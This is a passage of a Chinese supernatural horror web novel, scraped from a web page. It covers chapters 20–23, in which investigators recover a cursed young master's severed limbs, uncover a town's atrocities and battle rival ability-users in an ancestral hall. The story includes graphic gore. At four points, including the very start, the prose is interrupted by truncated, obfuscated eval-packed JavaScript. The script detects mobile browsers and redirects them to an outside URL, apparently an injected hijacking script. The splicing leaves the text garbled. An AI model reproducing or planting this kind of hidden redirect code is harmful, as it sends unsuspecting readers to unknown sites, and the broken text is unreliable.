l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739910|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许在最初,他们还是一些活生生的人,却被囚困在这该死的牢狱里,成了别墅主人的玩具。 他们的身体已经死去,可灵魂却被禁锢在这里,一日又一日遭受着生前的折磨。 没有人再开口,这段路程只剩下死一般的寂静。 最终,他们走到了通道的尽头。 最后一间房房门大敞着,那所谓的“宠物”已不知去向,只能窥见阴暗潮湿的房间里,放着一张尺寸很小的床。 墙上凝固着许多暗黑的色块,散发着一股难闻的气味。 门牌上写着那个失踪者的称谓:宠物7人彘。 褚颜的眼皮不自觉抽了抽,霎时想到了他们刚进镇子时,所看到的那些肢体残缺的人彘怪物。 而这里,或许就是一切的起点。 时光开始倒流,破败的场景也开始回溯。 他看见那个叫陶去妹的女孩子小心拢着发热的粥碗,扶起了窝在小床上残缺的男人。 那人没有眼睛,也没有四肢,皮肤很白,敞露在外的鼻翼精致小巧,唇瓣因缺水而干涸。 一道刺目的刀疤横亘在他的脖颈间,让人惊叹在这样重的伤势下,他竟然还能活下来。 陶去妹小心翼翼地吹凉热粥,一勺一勺地喂给他吃。男人似乎不会说话,哪怕被烫到了,也只能发出无意义的嘶嘶声。 褚颜听见旁边传来倒吸凉气的声音,他扭头一看,撞见一双不忍的眼。 秦队似乎被夺走了声音,过了很久很久,才凝视着那残缺的男人,吐出字来:“那是……金少爷……我见过他的照片。” 什么?! 褚颜和神父同时瞪大了双眼。 喂完一碗粥,陶去妹帮金少爷擦去唇边残渍,又扶起他脑袋来,给他喂水。 金少爷有气无力地喝着,没有任何反应。似乎多吃一口,少吃一口,多活一日,少活一日,对他来说都没有差别。 “我下次出去的话,给你带一点止痛药来。这样安老板打你的时候,你就不会那么痛了。” 金少爷点点头,但大多数时候他只是麻木地朝着天顶,宛如一具死尸。 那样的画面不知过了多久,忽然被一阵哭声打破。 房间里多了一个被白雾笼罩的男人,看不到他的长相,只能勉强看清他那双锃亮的皮鞋,和一根紧握的黄杨木手杖。 陶去妹跪在他脚下,不断磕着头。 “安老板,求求您救救我妈妈吧!我不能没有她!您是镇上的首富,只要您出面,一定有用的!” “嗤。”白雾里的安老板发出了轻蔑的笑声,他反问道:“帮你?我能获得什么好处?” 陶去妹怔了一下,坚定道:“我可以给您打一辈子工!不会要您一分钱!” 安老板拿手杖挑起她的脸,居高临下地说:“为了你妈妈的一条贱命,让我去得罪镇长?得罪全族的男女老少?” 他狠狠抽了陶去妹一棍子,将她扒住自己裤腿的手打开,极其冷漠地说:“收拾东西滚吧,你被开除了!” 他拔足而去,留下陶去妹一脸绝望地留在原地,脸上尽是凄然。 20. 第二十章 叛徒 良久,她擦干眼泪,爬到金少爷身边,给他盖好被子,做了最后的道别。 “对不起,我要走了。以后不能再照顾你了。” “我要去看我妈妈,这是最后一面了。” 她拔足想走,却听见一个陌生的声音在房间里响起。 “等等。” 这声音的主人似乎太久没有说过话,嗓音干涩嘶哑,像砂纸磨过地板。 可陶去妹却乍然瞪大了双眼,难以置信地看着他:“你……你会说话,你不是哑巴? “我……我能救你妈妈。”他说出了一句近乎天方夜谭的话。 “谢谢。但你不用安慰我,我知道这太难了。”陶去妹擦了擦眼泪鼻涕,努力挤出一个像样的表情。 金少爷继续问:“他们祭祀……你有没有见过……对应的图腾?” 陶去妹摇摇头,又点点头,道:“我……他们不让女孩儿去,但我偷看过。” “你画给我。”金少爷要求道,又说:“信我。” 陶去妹虽然心急如焚,但绝望之下,她也没有别的办法。 她的身体挡住了她的动作,以至于褚颜他们没能看到那个图腾,但金少爷的眉头却渐渐舒展开来,露出一抹如释重负的、近乎解脱的笑容。 他说:“我认得,你带我去见祂。” “见谁?”陶去妹不懂。 “你们的神。”金少爷说:“你可以做到的吧?你妈妈的命,我们的命,都系在你一个人身上了。把我藏起来,带出去。” 陶去妹咬着下唇,显然有些犹豫,毕竟这无疑会得罪安老板,让她在镇子里无处容身。 但她知道,自己已经无路可走。她不能失去妈妈! 她脱下身上的衣服,将残缺的金少爷抱到怀里,又把他的鼻子拨到领口处,便于换气。 在这一刻,绝望成了她的勇气。 两个无路可走的人,选择了联手反抗。 她拿好换洗的被褥,以掩盖上半身的异样。而后坚定地目视前方,走了出去。 幻象在众人眼前倏然破碎,空荡荡的门前,皮肤青白、七窍流血的陶去妹又一次出现在褚颜面前。 她脸上的血渍慢慢消退,皮肤也转为红润,她站在那里,对着三人道:“这就是真相。” “安老板是个变态……他喜欢把人当动物养,把他们弄残,弄死。” “镇子里的人为了让祂更特别,砍了他的手脚,拿他卖了一百万。” “我们都是可怜人,而他们都该死……都该死……” 她说到最后一句话时,已是面露狰狞。而整个甬道也因为她的情绪波动,开始剧烈摇晃。 “等一下,先不要动手,我们可以帮你!”见到宠物房里发生过的事情,褚颜已无比清楚自己的敌人究竟是谁。 “他们抢走了……左手……”陶去妹空茫着双眼,吐出这样一句话,“不要让他们,毁掉它。” 什么?! “你们的人,出了叛徒。该死,该死啊!” 她的目光变得怨毒,山体也开始发出崩坏的轰鸣。 “这里不能再待了!”秦队看出形势不对,慌忙抓住褚颜往后拉,和神父一起往出口跑去。 褚颜匆匆回望,看见狭长的甬道变得暗红,玻璃房内的宠物们也扭动着变形的身体,一个接一个爬了出来。 秦队一脚踹开石凳,在他拉开门的瞬间,整座山体也瞬间塌成了废墟。 仿佛有一种无形的力量摧毁了这一切,而能做到这一步的,恐怕只有——神了! 几人纷纷向前扑倒,然而还来不及庆幸,很快这栋别墅也发出了支离破碎的声音。 “快跑!”秦队喊了一声,率先往前冲去。 褚颜紧随其后,看到队长持枪在手,显然想为他们开道。 没走多远他们就遇到了第一个守卫,那人手里端着猎枪,却只是像断线木偶一样傻站着,麻木地张开嘴。 下一刻,他的身体开始崩溃瓦解。 几人眼睁睁看着他在绝望与惊恐中,崩成了一堆白雾。 “天哪!”神父惊叹一声。 他们继续往前跑,看到别墅里的守卫、女佣、工人,都毫无反抗之力地被一一撕碎。 “当!”他们跑到余火未消的大厅,发现墙上的挂钟指向了12点。 子夜提前降临了! 神父一脚踏出门口,还没来得及抬起第二只脚,身体就骤然凝固了。 他的脸难以控制地变得扭曲,瞳孔里显出惊恐之色,一只手向外伸着,似乎想寻求队长的帮助。 然而队长也已挣扎到青筋暴突,无力自控,自身难保。 就在他们几乎要听到死亡的号角声时,一条青白的“左腿”突然被塞到了他们手中。 致命的压迫感骤然抽离,硬生生将他们从鬼门关处拽了回来。 “别松开!”是褚颜的声音,此时听来,宛如天籁。 秦队死里逃生,惊魂未定地握着“左腿”,朝他看去。 褚颜已经将“右手”从收容匣里拿了出来,抱在了怀里。 “这房子要塌了,快走!” 他话音刚落,秦队和神父都不约而同地向前跑去,即使到了空旷地带也没停下,一直跑到出了那扇铁门。 在经过门口时,他们眼睁睁看着管家被撕碎,但也仅仅只是多看了一眼,并未回头。 果然,在他们逃出去的下一秒,别墅就塌成了碎片——或者叫拍扁更为合适。 秦队握着左腿的脚腕,神父则跟树懒一样抱着大腿——现在他倒不嫌弃邪神肢体有污染了。 “怎么回事?”秦队问。这危机来得莫名,褚颜要是反应再慢一秒,他们就可以去见阎王了 “是祂发怒了。”褚颜说出自己的猜测:“我们的人出了叛徒,把左手给了镇长他们。祂感觉到威胁,所以发怒了。” “祂?”神父重复了一遍这个词,问:“是他么?” 褚颜抿了抿唇,本想应是,又生生停了下来——他现在还不能确定。 于是他换了一种说法,道:“挂钟到了十二点,子夜是邪神力量最强的时刻。这是属于祂的力量。” 秦队点点头,算是认可了他的猜测。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752132|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚颜其实压根没想过“邪神的肢体”还有免疫伤害的作用,在这之前,他仅仅把这玩意当成一个面见大BOSS的任务碎片。 但眼看着队长和神父的性命都在千钧一发之间,而他自己却不受影响。抱着死马当活马医的心态,他将肢体拿了出来,果然奏效了。 “你怎么知道这个有用?”队长在一直触碰左腿的情况下,问他。 “在猜到是邪神想毁了这座山和这栋别墅时,我就有这个打算了——毕竟祂再怎么无差别攻击,也会顾及自己的肢体吧。” “有道理,这次多亏了你。”秦队由衷感叹:“那只要我们不放开它,应该就是安全的。” 褚颜点点头,而神父却忽然惊叫一声,指着褚颜的右肩道:“你的伤口——” 他喊这么一句,另外两人都不自觉将目光投了过去。 只见褚颜被猎枪扫中的地方,狰狞的伤口已然不见,只剩下几块细嫩的红斑。 “我的天……你能自愈?”神父彻底惊讶了。 秦队也难掩眸中诧异,毕竟他见过褚颜分解“源”的能力,那是常人难以想象的画面,而此刻他竟然还有自我恢复的能力。 他到底……是什么东西? 看他们那种要把自己生吞活剥的眼神,褚颜也没来由地打怵。他努力辩解道:“我……我也是刚知道。” 秦队定了定神,拍了拉维欧一把,神父也慢慢回过味来,收敛了表情。 “这是好事。”秦队说:“最起码,你有更多生存下去的机会。” 队长一贯这么会照顾别人感受。褚颜点点头,表示知道了。 秦队:“好,现在我们要思考第二个问题,那个叛徒究竟是谁?” 神父连忙把头摇成拨浪鼓,自证清白道:“不是我,从湖那里回来后,我一直跟你们待在一起。我愿用主的名义起誓!” 褚颜道:“也不会是我。如果我想叛逃,在和镇长打第一次照面的时候就交,不是更方便吗?” 秦队闻言皱起眉头,显出难看的神色,道:“总不可能是戴雅和郝成死而复生吧?” 那这样一来,神父也有了嫌疑。毕竟湖心岛的经历,戴雅的死,都是靠他一张嘴,有太多作伪的成分。 眼看几人就要陷入互相怀疑的怪圈,褚颜突然道:“队长,我觉得我们忽视了一件事。” “什么?” “上一批进来的人,可不一定全死了。”褚颜淡定地抛下一枚炸//弹。 秦队沉默片刻,面上的表情由疑惑变成了了然。 确实。之前太多次的失败,和门楼处的悬尸,让他们下意识就认为,前一批已经阵亡了。 但如果上一批有人存留,又投靠了镇民,确实有可能在这个镇子里活到现在。 褚颜将已获知的信息复述出来,补全了自己的猜测:“而且我们中的所有人,都没有见过这条‘左手’。但陶去妹说的,确实是‘你们的人’这几个字。” “不在我们之中,却和我们在同一个阵营,确实只有先行者才能达到这个条件。”秦队想着想着,目光渐渐变得沉重,甚至于愤恨。 21. 第二十一章 重新站队 “我明白了。”队长沉声道:“康洪不是死在怪物的手里,他是死在人类的手里。” 康洪,就是他被剥皮挂在门楼上的战友。 “被怪物杀掉的人,是没有尸体的。异能者体内也有‘源’,怪物不会放掉到嘴的大餐。只有人——才会有这样险恶的用心,才会拿他杀鸡儆猴。” “那现在我们该怎么办?”褚颜问。 队长抬头目视前方,冷声道:“报仇!” “给我们,给他,也给金少爷报仇!” 神父道:“等等,就算要报仇,我们也应该做好万全的准备,我们还不知道对面有什么人呢。” 秦队虽对那些人咬牙切齿,却并不冒进,他说:“如果把范围缩小到上一批人,他们里面有心理医生、赶尸人、收藏家、售货员。目前并不知道哪些人还存活。” 他念的那一长串,都是职业。 而在异能者的世界里,职业就代表着他们可能拥有的能力。 比如拉维欧,作为神父,他的技能就是镇魂、驱魔。 褚颜道:“镇民呢?镇民中间,有没有可能也存在异能者?他们能在怪物的围攻下坚持四年之久,应该也有独到之处。” 队长表示了认可,道:“有可能。所以接下来的行动,一定要无比谨慎和小心。我们只有三个人,绝不能出任何意外。” 褚颜:“嗯。” 这是一场以小博大,以多胜少的战役。他们只能成功,不能失败。 神父虽然只想苟到离开,但他也知道,现在已经是背水一战的时候,由不得半分懦弱。 “时间紧迫。”褚颜提醒道:“如果让他们毁掉邪神肢体,我们就再也救不回金少爷了。” “好。”队长也振作起来,道:“先往前走,想办法找到他们。” 就在三人拔足往前跑时,前方蒙蒙的细雨中,突然传来了一阵“哒哒”、“哒哒”的敲击声。 首先呈现在他们面前的,是一根黄杨木手杖,接着是一只发白苍老的手,然后是一张精明中年人的脸。 安老板! 通过那根手杖,三人很快确定了他的身份。 “呵呵——”黑暗中,突然传来熟悉的喘气声。 伴随而来的,是一条又一条凶恶的三头狼狗。它们犬牙参差,眼珠猩红,眼里隐隐透出嗜血的光。 还真是一波未平一波又起,难道他们刚刚从别墅里逃出来,又要面对狗群的围攻吗? 最近的三头恶犬咧开嘴,以极快极猛的速度冲来,张开大嘴,一口就咬在了安老板的身上! 然后是第二只,第三只,第四只…… 三人都惊呆了,谁都没有预料到画面会变成这样。 在一堆恶犬的围攻下,安老板竭力地往前爬着,发出凄厉的惨叫声。 “啊啊啊——” 然而他很快就被狗群拖回去,一口一口撕下他身上的皮肉。 安老板脸上的表情因疼痛变得狰狞,无力地在地上打滚。 他的躯体很快就被撕成了烂布条,恶犬们吃完,仍意犹未尽,又去啃食他骨头上的碎肉。 一个人显然是不够这么多狗吃的,很快他的皮肉都被分食殆尽,空气中传来嘎嘣嘎嘣咀嚼骨头的声音。 而在这个过程里,安老板一直“活着”。或许对于一个怪物来说,根本没有活着的概念,但通过他的反应以及表情,褚颜可以清楚地判断,他有知觉。 狗群们直到最后才开始享用他的内脏。拖拽他的肚肠,咬穿他的肝脏和胸肺。 不过一会儿的功夫,安老板就歪倒在地上,没了动静。 恶犬们舔了舔牙齿上挂着的碎肉条,露出餍足的神情。 秦队、褚颜、神父都不自觉绷紧了背脊,做好了随时应对攻击的准备。 然而,在路灯昏暗的光芒下,只见安老板的骨架一阵蠕动着,迅速长出断骨、筋膜、肌肉、血管,还有皮肤。 这种愈合能力,简直能让治愈系的医生羞愧致死。 歪倒在地的安老板重新睁开了眼,他看到自己仍处在原地,眼里充满了绝望。 “救……救我!” 他试图向围观的三人求救,然而早知他恶行的三人,又哪里会去帮他。 吃饱了的恶犬们纷纷退去,新的一批又补了上来。 一场独属于安老板的无穷无尽的折磨,再一次上演。 霎时间,褚颜脑海中突然浮现了一段神话。 传说普罗米修斯在为人类盗取火种后,被宙斯关押到了高加索山上。 为了惩罚他,宙斯派了一只秃鹫过来,日夜啄食他的肝脏。 到了晚上,普罗米修斯的肝脏就会重新长出。以让他日复一日地承受这极致的痛苦,永远没有尽头。 虽然安老板这种败类,无论如何都无法跟普罗米修斯相比,但这种惩罚的方式,难说没有受到古希腊神话的影响。 到这时,褚颜基本已经能够确定,陶去妹嘴里所说的“祂”的身份。 就是他们此行的目的,金少爷。 那这样看来,这块肢体…… 被镇民砍掉的手脚…… 已经被他们得到的右手、左腿,还有被镇民们拿走的左手…… 所有信息都指向了同一个结果:这些肢体属于金少爷。而造成铜山镇一系列异象的人,也是祂。 “这里被堵了,我们另找他路吧。”秦队道。 大家都没有发表异议,只是沉默着转向,走上另一条路。 褚颜留神看向秦队,发现他握着“左腿”的手不再有排斥的反应,甚至可以称得上小心翼翼。 走了不知道多远,秦队忽然开口道:“我们现在……和邪神是一个阵营了。” “嗯。”褚颜很自然地接受了这个转变。毕竟他一直以来,都没对镇民们有过什么信任。 过了好一会,神父开口道:“可是……郝成和戴雅的死,我们就不管了吗?何况戴雅……还是为我死的。” 此言一出,众人的心情又变得沉重起来。 承认与金少爷一道,就意味着要背弃之前的同伴。毕竟郝成、戴雅都是死在怪物手里。而怪物都是由邪神操控的。 或许金少爷现在已经没了理智,就算有,也不一定会给他们什么优待。 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765393|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的选择十分冒险,即使能打败镇民又能怎样呢?难道他们还能打败身为邪神的金少爷,将他带回去交差吗? 这个任务从一开始就是无法完不成的。 “我明白你的感受。”秦队道:“你选择戴雅,和我选择与他们为敌的理由,是一样的。我们都是为了朋友,做任何决定都无可厚非。” “金先生对我有恩,他收留了我们很多兄弟,给了我们一份工作,让我们有饭吃,有衣穿。于公,我需要把他的儿子带回去,完成这个任务。” “于私,康洪是我最好的兄弟,他死在那些人手里,我不能视而不见。” 他看着神父,道:“你和我不同,你只是想赚钱,没必要以命相搏。贺兰,你也是一样。我尊重你们,接下来的路,我一个人走。” 神父没有说话,显然是默认了。 褚颜看了两人一眼,对神父道:“我们两个换一下吧。” 他将“右手”递给神父,又将“左腿”的另一截接了过来。 他笑着解释道:“我不需要报答什么金先生的知遇之恩,但我这个人有个特点,见不得好人受罪、坏人逍遥。” “总有些正义,需要我们去坚守,不是吗?” “但我必须承认,惩恶扬善是有风险的,拉维欧,”他看向神父,嘱咐道:“如果你能出去,请你转告金先生,让他把尾款打到我的银行账户里,转给我朋友也行。我女儿需要这笔钱来治病。” “嗯。”神父郑重点头。在这样的情形下,“贺兰”说这样的话,几乎是在交代遗言了。 秦队道:“拉维欧,你拿着‘右手’待在这里,或是去小镇入口等我们。如果我们能活下来,就会过来找你。” 神父:“好。” 将右手留给神父,只是为了确保他在子夜时分活下去。但最终面见邪神,还是需要带上这块肢体的。 交代完,秦队对褚颜道:“我们走吧。” “嗯。”褚颜和秦队共同抬着那条“左腿”,在细雨中走了约莫一两百米,眼前忽然出现一幢极高大恢宏的建筑。 ——道路再一次被扭曲了。 只见那建筑雕龙画凤,金碧辉煌,殿顶铺设着整齐的琉璃瓦,正脊之上盘着几条四爪金蟒。 金蟒中间立一座玲珑宝塔,周围还刻着来往巡逻的天兵天将。 屋檐上刻张口猛虎以震邪祟,屋脊上嵌金色鲤鱼以图吉祥。 殿门口还有两根精美的盘龙柱,后方是一副金色匾额及对联。 匾上书:铜山祖祠 上联是:多子多孙栋梁满堂 下联是:万金万禄福寿无疆 如果在平时,见到这样辉煌的建筑,褚颜定会心生赞叹。 但因为知晓了这些人残害无辜的行为,现在的他只觉讽刺。 但比起这个,更令他们惊讶的,是此刻祠堂内竟亮着灯,而且隐有光影闪烁。 是怪物,还是人类? 如果是后者,他们又是怎么在午夜时分活下来的? 不是说要陷入沉睡,才不会被邪神带走吗? 两人轻手轻脚走到祠堂边,静静观察里面动静。 22. 第二十二章 异能对战 虽然只是镇上的祠堂,但因为铜山镇本就财政富裕,它的占地面积竟不小。 隔着墙壁,祠堂内隐隐传来祷念声。 重重叠叠,不知有多少人。 这可难办了,靠他们两个,怎么打的赢? 褚颜刚把目光投向队长,就觉得面前的围墙一阵凹陷,下一刻他已身处在祠堂之中。 只见祠堂之内,灯火通明。 正南面置着神龛,整整一面墙都被牌位所占据,密密麻麻的墨字并着无数支燃着的红烛,宛如上百双眼睛齐齐望过来,让人不寒而栗。 东西两壁,骷髅骨架从墙角直堆到天顶。 神龛下方,则跪了一两百个身着黑衣的男丁。 虽然褚颜和秦队闯了进来,他们却连头都没抬,继续叩拜。 在人群和神龛的正中央,置着个火盆,火中白焰燃烧,铁架上放着的正是那截“左手”,而唐镇长赫然就在旁边。 褚颜刚迈出一步,面前就突然杀出一个穿工作服戴鸭舌帽的男子。 只见他轻飘飘一句“正门才可通行”,下一刻褚颜就被狠狠甩出,砸到了院落中。 而跟他一起被吸入的队长也被一个穿白大褂的女士缠上。 “那是售货员,他的技能是规则类,很难缠。”秦队刚说完这一句,那位女士就将眼睛望了过来。 秦队慌忙躲开她的视线,却反被她拽住左手。 “攻击你的队友。”女士道。 褚颜被摔了个七荤八素,好不容易爬起,就看见秦队跌跌撞撞朝他走了过来,手中枪已在手。 秦队竭力控制着开枪的欲望,对褚颜道:“她是心理医生……我中了她的‘心理暗示’,快躲开!” 褚颜可不敢硬挨这枪,他急忙朝秦队左边跑去,下一刻子弹已贴着他的衣角射到了草坪上。 就在秦队天人交战之际,褚颜却又折返回来,将手印上他额头,道:“遗忘!” 在对付看门狗的时候,褚颜就发现了,自己的“遗忘”也是一种对外技能。而且是目前他唯一能使用的主动技能。 果然,随着他命令一出,秦队僵硬的身体霎时能动了。 “精神类?”心理医生面露诧异,万没想到自己还能遇上同行。 吃了一亏后,秦队迅速退开一定距离,左手火光闪烁,右手则瞄准“左手”下方的架子扣动扳机。 盆中火苗诡异地晃了一晃,子弹带出的烈焰还没燃起就已熄灭。 但两手准备的好处就在于,秦队手中的火龙已经蓄势完毕,对着火盆方向冲去。 “冰棍两元一个。”售货员再度冲出,言出法随,上百根冰棍凭空出现,挡住了火龙的冲击。 火龙攻势更猛,但售货员的能力显然更刁钻,只听他面不改色地说:“你得付钱。” 秦队被规则之力凭空一拽,险些跌倒,身上的衣服、项链、收容匣、枪袋等齐齐往对方飞去。 如果没钱,就需要东西来抵扣。 秦队无法再维持火龙的运行,但他也并非毫无办法。 只见他迅速从口袋里拿出两张钞票,对着售货员扔去。 “及时找零!”他也学着喊道。 售货员低下头,从口中翻检余票。对于自己的弱点,他显然也有所防备,很快就掏出一大把零钱扔出。 秦队见招拆招,又拿出数张百元大钞,道:“帮我拣货!” 售货员被硬控数秒,只得四处寻觅货物。 他们在“撒币”的同时,褚颜也被心理医生堵在了门口。那位女士目光下移,盯上了他手中的“左腿”。 ——进入到这个祠堂后,他们已不需要“邪神的肢体”来防范突然的陨灭。 褚颜察觉到她的视线,果断将左腿放进了收容匣。 “交出邪神的肢体!”她道。 又一次“心理暗示”。 幸亏褚颜早有准备,另一只手已按在脑袋边,不住碎碎念:“遗忘、遗忘、遗忘。” 正在他庆幸于自己化解了心理医生的技能时,忽然觉得颈部传来一阵窒息,整个人立时便喘不过气来。 一团黑影不知从何时而来,缠住了他的脖颈,慢慢凝成一团人形。 “影子?”秦队认出了他的身份,连忙提醒道:“他是上上任的队员,会影子索命,能自由切换状态。” 趁他帮褚颜之际,售货员也挣脱了控制,将脚边一大堆白骨踢来,道:“拣货完毕,欢迎下次光临!” 他的弱点只在这几次交锋,服务完毕以后,他就不用再听“客人”的训了。 “锅碗瓢盆,锤子剪刀!” 轰轰轰,一堆杂物瞬间出现,对着秦队砸去。 褚颜被影子勒着颈部吊上半空,心理医生则顺势凑了过来,注视着他的双眼,道:“睡吧,睡吧。” 技能:催眠! 褚颜的眼皮逐渐沉重,他感觉到影子在解他腰间的收容匣,眼看就要夺走属于他的战利品。 千钧一发之际,他再一次使出了“遗忘”。 “忘记你此生所有一切!” 因为两人有接触,他的技能成功作用在了影子身上。 只见影子的身体一个晃荡,下一刻竟从黑影状态重新变回人形,他松开扼住褚颜的手,跌跌撞撞往后退了几步,脸上显出空茫之色。 褚颜捂着脖子跌到地上,大量新鲜空气涌入肺中,呛得他一阵咳嗽。 影子的心智像是一瞬间从成人褪变成了婴儿,他咬着手指,望着这群乱七八糟的大人,不明所以地退到墙根底下,蜷缩成一团,如回到母体中一样,陷入了安眠。 “遗忘”发挥了前所未有的功效,却也几乎将褚颜体内的能量全部抽空。 他用手捂住收容匣,无力地跌到地上,眼皮已然紧紧闭合。 心理医生劈手来夺他手中之物,却只见刀光一闪,下一刻她的右臂已是鲜血狂飙。 褚颜及时补刀,另一手按住心理医生太阳穴,念道:“忘记你和镇民的所有交易!” 这个指示显然比对影子用的要简单许多,没有让他精疲力竭,却也让他无比难受。 为什么他能挣脱掉心理医生的催眠,因为他在最后一刻想到了破解之法。 那是两个字:谨慎! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773195|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在《救世主保命守则》上面,“遗忘”和“沉默”都对应了不同技能,这是他在各种事件中逐渐摸索出来的。 那没道理“谨慎”二字只是一句空话。 他一经尝试,只觉得头脑瞬间变得清明,思维也加快了无数倍。 到这时他才明白,原来“谨慎”的作用,不仅是让他防范外界,还能加强他自身的思维敏锐度、信息分析能力。 这也解释了,为什么从接触异常案件起,他就越来越能发现事物的端倪,越来越灵巧。 从“迟钝”到“谨慎”,这是一个质的改变。 抛开浑浑噩噩的心理医生后,褚颜径直往镇民方向冲去。 售货员还在和秦队僵持,褚颜也用不着担心队长的生命安全,毕竟他的实战能力比自己厉害多了。 此时仪式已经进入后半段,无数白色的线状力量从跪伏的人身上涌出,汇聚到镇长手中镌刻着金色符文的铜盆里。 盆中红色弥漫,正是无数粘稠鲜血。 见到他冲击的动作,唐镇长面露凶光,在他靠近之时举起手杖,随着他按下按钮,手杖底端乍然弹出细窄尖刀,刺向褚颜胸口。 而这时混杂了白色力量的鲜血已经淋到了“左手”上,将接触部位烧出片片黑灰。 空中传来无形的力量波动,和压抑不住的低吼声。 尖刀被褚颜胸口的《救世主保命守则》挡了一下,让他借势冲到火盆前方,抱住了那截残肢。 所有鲜血顺势淋到了褚颜背上,一股无法遏制的疼痛从背后传来,烧穿了他的衣物,灼痛着他的皮肤。 那所谓的血,简直堪比硫酸和烧碱。 “噗嗤!”气急败坏的唐镇长,一手杖直接刺穿了褚颜的后背。 尖刀洞穿身体,极致的疼痛让褚颜痛到直不起腰来。 那一瞬间,他几乎要以为,自己快死了。 他的血顺着刀刃流淌下来,汇成一条小小的溪流,一路蜿蜒着往祠堂外流去。 鲜血汇入草地,草儿于是也欢欣着摇摆。 无数鲜血从土层里冒出,黑色的,红色的,干涸的,温热的…… 一道道女人的哭声在院落中响起。 一个个虚幻的影子从地底爬出。 她们有的浑身浴血,有的满身刀疤,有的肢体不全,有的浑身青紫…… 她们是曾经惨死在这宗祠中的祭品,男人们用她们的血换来了镇子的繁荣昌盛,财源滚滚。 无尽的怨念从她们身体里冒出,动摇着这片天地。 跪拜的男人们终于无法再维持阵型,他们看着那些熟悉的死去的面孔,脸上现出害怕与慌张。 他们用以对抗邪神的,是这有无数祖宗庇佑的祠堂,是这坚不可摧的信仰。 可此刻,他们的信仰不再稳固,他们的祖先也无法施加庇佑。 因为那逝者里,有他们的祖先,有他们的母亲,有他们的妻子,有他们的女儿…… “嘭!”一只漆黑的大手从天而降,洞破祠堂的顶端,一把抓住了避之不及的唐镇长,“咔吧”一声,捏碎了他的骨骼。 23、第二十三章 矿山 以此为号角,怨魂们齐齐冲了上去,缠绕住背弃他们的后辈、儿子、丈夫、父亲。 黑色巨手解决完唐镇长,下一个就轮到售货员。 褚颜咳了咳,只觉得口中血味弥漫,像生啃了一口锈蚀的铁管。 他看见终于摆脱对手的秦队着急忙慌朝自己跑过来,将带着尖刀的手杖从自己身体里拔出。 草! 此刻,褚颜无比怀念已不在人世的戴雅。最起码她会给自己施加一个治愈魔法,而不是像秦队这样硬拔。 “你还好吗?”秦队关切地问。 你看我这样能好吗?褚颜无言以对。 但幸好“左手”已经到手,这一刀也没白挨。 呜呜,可真疼啊。他这辈子都没吃过这种苦。 一片混乱之际,谁都没有留意到一个头发花白的族老冲到神龛前,对着牌位喊道:“列祖列宗们,你们就眼看着子孙们被这么欺负吗?” “这是我们镇上仅有的男丁,再死下去,我们铜山镇就要绝种啦!” 族老眼见子孙受戮,悲从中来,狠狠一头对着神龛尖角撞去,霎时命陨当场。 几个年纪大的也相继站了起来,颤颤巍巍地撞死在神龛之下。 褚颜忍痛之际,忽然感觉到一股无形的力量从神龛开始往外蔓延。 牌位剧烈摇晃着,像在无声地发怒。 还幸存的男丁们仿佛瞬间有了主心骨,再一次跪倒在蒲团上,叩头朝拜起来。 光从破损的屋瓦处洒下,落在怨魂身上,令她们在惨叫声中化为灰烬。 黑色大手不知何时消失了踪影,子夜怪象也一并消失了。 “走!”褚颜一边将“左手”塞进收容匣,一边提醒队长道。 秦队显然也意识到此地不宜久留,背起褚颜,就疾步往外跑去。 “追!” “杀了他们!” “杀了他们,给兄弟们报仇!给镇长报仇!” “嘭”地一声枪响,是镇民们从偏厅中拿出了属于他们的武器。 火枪,对付怨魂毫无用处,对付两个人,却是绰绰有余。 褚颜在秦队背上跌跌宕宕,一边悲叹自己的能力怎么这么没用,技能全加精神上,身体却一碰就倒;一边不住吐槽秦队,跑得乱七八糟,全然不顾自己死活;一边担心镇民们从背后再来几枪,把自己打成个筛子。 铜山镇的时间,显然已经乱了。 邪神之怒让子夜提前降临,神龛之威又让黑夜直接跳成了白天。 此刻外面浓雾弥漫,他们两个在街道中横冲直撞,完全分不清方向。 没有邪神给他们缩短道路,他们根本不知该去哪里。 眼看镇民们越追越紧,秦队慌不择路之下,直接带着他往高处跑去。 镇民们的枪声,喧闹声,一直从后面断断续续地传来。 多亏了秦队这绝佳的身体素质,居然在背着一个大男人的情况下,还能健步如飞。 不知跑了多远,褚颜只知道地势越来越高,房屋也越来越少。 落在他们眼前的,是一片茂密的林木。林中鸟兽音迹都已断绝,连镇民们的枪声都远了。 